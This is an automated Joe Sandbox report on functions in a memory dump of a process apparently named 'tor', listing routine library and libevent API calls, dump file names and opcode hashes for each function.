Function 015541D2 Relevance: 6.1, APIs: 4, Instructions: 114stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 01554265
__stack_chk_fail.LIBSSP-0 ref: 01554345

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failstrlen
String ID:
API String ID: 901568487-0
Opcode ID: 04ac161ae243efe6f72b7d39faba7b41013fe77acef81e8e504558ac3f3012b2
Instruction ID: 595ac84facd6810b55ceeb4940d406ff05ac3bb43c51f23edce179a896055da6
Opcode Fuzzy Hash: 04ac161ae243efe6f72b7d39faba7b41013fe77acef81e8e504558ac3f3012b2
Instruction Fuzzy Hash: 07517274E05219DFCB80DFADD894A9EBBF1BB49344F10882AE854EB310E334A980CF55

Uniqueness

Uniqueness Score: -1.00%

Function 01570BDA Relevance: 6.1, APIs: 4, Instructions: 96stringCOMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01570C45
strlen.MSVCRT ref: 01570C67
free.MSVCRT ref: 01570D11
__stack_chk_fail.LIBSSP-0 ref: 01570D2D

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabortfreestrlen
String ID:
API String ID: 865228990-0
Opcode ID: e509211142904abd421c939c09e3a8a889975bc95ce1080a31270adb0569112b
Instruction ID: 461ba042549ee7a1e0386ea1e65492b5c8c775b3c04776b05b9b9d12910c53a0
Opcode Fuzzy Hash: e509211142904abd421c939c09e3a8a889975bc95ce1080a31270adb0569112b
Instruction Fuzzy Hash: D141B1B490431ADFCB40EFA8D48569DBBF4BF49314F00845AE894AB340E7789941DF62

Uniqueness

Uniqueness Score: -1.00%

Function 0155DB97 Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0155DBEE
abort.MSVCRT ref: 0155DC2E
abort.MSVCRT ref: 0155DC72
__stack_chk_fail.LIBSSP-0 ref: 0155DCC9

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort$strrchr
String ID:
API String ID: 2024191972-0
Opcode ID: 2577b8df7a2f80209c5adcd95078ec13169d50bab33ddfc2f8fbe1071195b34a
Instruction ID: c519b64a4055f66f8c9dc041d5ebb73c6935275c22aed612aa93e0b4b11f0d86
Opcode Fuzzy Hash: 2577b8df7a2f80209c5adcd95078ec13169d50bab33ddfc2f8fbe1071195b34a
Instruction Fuzzy Hash: 1631E9B4A052069FDB40DFA8C98899EBBF0BF58344F41C559E898DB310E738E545DF61

Uniqueness

Uniqueness Score: -1.00%

Function 0163B829 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0163B885
event_new.LIBEVENT-2-1-6 ref: 0163B8D4
abort.MSVCRT ref: 0163B91D
__stack_chk_fail.LIBSSP-0 ref: 0163B942

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$event_new
String ID:
API String ID: 3365524859-0
Opcode ID: 3b28fa9205d1a0cd398cadf851c2e734d5bd9c92aab3d4f79a656b912cf8d74a
Instruction ID: c5f58dbb0df71fe834b1b56c966410c6ef5a21385a1c9805a571f2dc9773b5e1
Opcode Fuzzy Hash: 3b28fa9205d1a0cd398cadf851c2e734d5bd9c92aab3d4f79a656b912cf8d74a
Instruction Fuzzy Hash: E731D2B490431A9FCB40EFA9C8546AEBBF4BF88314F01881DE8949B350D778D944CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0156FFFA Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01570050
abort.MSVCRT ref: 0157008F
memset.MSVCRT ref: 015700AA
__stack_chk_fail.LIBSSP-0 ref: 015700FA

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$memset
String ID:
API String ID: 2761635878-0
Opcode ID: bf4dc265db444d3bba0deef3ada0000971898ccceef8d0feb4f57754507d0d38
Instruction ID: ed37e51ab91853092753a00e52e6754a31b38341b42ce15858ab8d7f1defc8ab
Opcode Fuzzy Hash: bf4dc265db444d3bba0deef3ada0000971898ccceef8d0feb4f57754507d0d38
Instruction Fuzzy Hash: 3C31C3B490530ADFCB40DFA8D488A9EFBF4BF48318F418559E898AB340D3789985DF55

Uniqueness

Uniqueness Score: -1.00%

Function 014D3D20 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 014D3D6D
abort.MSVCRT ref: 014D3DB9
abort.MSVCRT ref: 014D3E05
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,014FA5A1), ref: 014D3E20

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort$strrchr
String ID:
API String ID: 2024191972-0
Opcode ID: 246f13c1f913a0abea71943b41eeeca920c9465d9bedb2d9efcb3e76e9b87494
Instruction ID: 9f9f312a3612d0d3920a3ce2af466cd223a701ad0aeebfdcd44c54b91b2f54f3
Opcode Fuzzy Hash: 246f13c1f913a0abea71943b41eeeca920c9465d9bedb2d9efcb3e76e9b87494
Instruction Fuzzy Hash: BB213BB0605303DFCB54BFBAE94422E7AE8BB51658F40D81DE894CB245EB38D1899F52

Uniqueness

Uniqueness Score: -1.00%

Function 01484552 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 014845B4
abort.MSVCRT ref: 014845F6
memset.MSVCRT ref: 01484614
__stack_chk_fail.LIBSSP-0 ref: 01484657

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$memset
String ID:
API String ID: 2761635878-0
Opcode ID: 98f89741a4ec94df34ed594dd29cac71ac5dc090514fd6751f2714632a79cb98
Instruction ID: 803da990679c5c8ce24c8d05c82e6f6bb4b7870dad7efddcadc3671acba5b49a
Opcode Fuzzy Hash: 98f89741a4ec94df34ed594dd29cac71ac5dc090514fd6751f2714632a79cb98
Instruction Fuzzy Hash: DF21D8B4904316DFDB50EF64C94479EBBF4BF54208F41C8AE94989B600EB74DA84DF52

Uniqueness

Uniqueness Score: -1.00%

Function 013ED3B8 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 013ED408
abort.MSVCRT ref: 013ED44F
evdns_close_server_port.LIBEVENT-2-1-6 ref: 013ED475
__stack_chk_fail.LIBSSP-0 ref: 013ED490

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$evdns_close_server_port
String ID:
API String ID: 3546182685-0
Opcode ID: 229037f128a0ae98e7008997888dfc382821afc3c61666061c4e40474d351e48
Instruction ID: 7e51658cfd863ca6689b38a63b95fb8e1cf483c0318083df2e9ee33619d5628c
Opcode Fuzzy Hash: 229037f128a0ae98e7008997888dfc382821afc3c61666061c4e40474d351e48
Instruction Fuzzy Hash: 632138B4904316DFCB40EFB8C8886AEBBF4BF00208F41885DE8A49B241DB38D545DF62

Uniqueness

Uniqueness Score: -1.00%

Function 01570142 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 015701A4
abort.MSVCRT ref: 015701E3
memcpy.MSVCRT ref: 015701FD

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,014CBFDA), ref: 01570210

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$memcpy
String ID:
API String ID: 4055433727-0
Opcode ID: 838a013a2d752bd761fcfee26916352f6a3ef2821d5cd6345efc305584ea519c
Instruction ID: 429fea8e89bbfe5656cba2bd663454379bcdd7547a7bb60ea5fd491b82e4eb44
Opcode Fuzzy Hash: 838a013a2d752bd761fcfee26916352f6a3ef2821d5cd6345efc305584ea519c
Instruction Fuzzy Hash: 5A1126B4909316DFCB40EFA8D8482AEBBF4BF45318F40881DE895AB240D338D585DF22

Uniqueness

Uniqueness Score: -1.00%

Function 015732D5 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0157330A
free.MSVCRT ref: 01573329
free.MSVCRT ref: 01573345
__stack_chk_fail.LIBSSP-0 ref: 01573365

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: free$__stack_chk_fail
String ID:
API String ID: 3445780955-0
Opcode ID: 2baf6f410d949426070596d00a5e0e886232364d130abdebeb9b91141f3f4fa5
Instruction ID: 5606bc3f15a567e0843d1ffcb058b32be896fc1587588baf550fe660f904e77b
Opcode Fuzzy Hash: 2baf6f410d949426070596d00a5e0e886232364d130abdebeb9b91141f3f4fa5
Instruction Fuzzy Hash: 161140B4E0460ACFCB50DFA8C485AAEBBF4BF09314F018469E965EB310D774A940DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01551D6A Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,015538D3), ref: 01551D98
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,015538D3), ref: 01551DB7
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,015538D3), ref: 01551DD3
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,015538D3), ref: 01551DEF

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: free$__stack_chk_fail
String ID:
API String ID: 3445780955-0
Opcode ID: 69387ba324c24523d38c5d313c4a4fc45d1bafdc899fbacdace499a38239c9fb
Instruction ID: f88196df3f5e082e555a5d74201af263f6746eae2606febe3088f5adeefc92da
Opcode Fuzzy Hash: 69387ba324c24523d38c5d313c4a4fc45d1bafdc899fbacdace499a38239c9fb
Instruction Fuzzy Hash: 6C1130B4E1461A8FCB40EFA8C881AAEBBF4BF09214F414459E950EB310D774EA51CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0163B5E0 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0163B636
event_pending.LIBEVENT-2-1-6 ref: 0163B653
event_add.LIBEVENT-2-1-6 ref: 0163B66B
__stack_chk_fail.LIBSSP-0 ref: 0163B67E

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
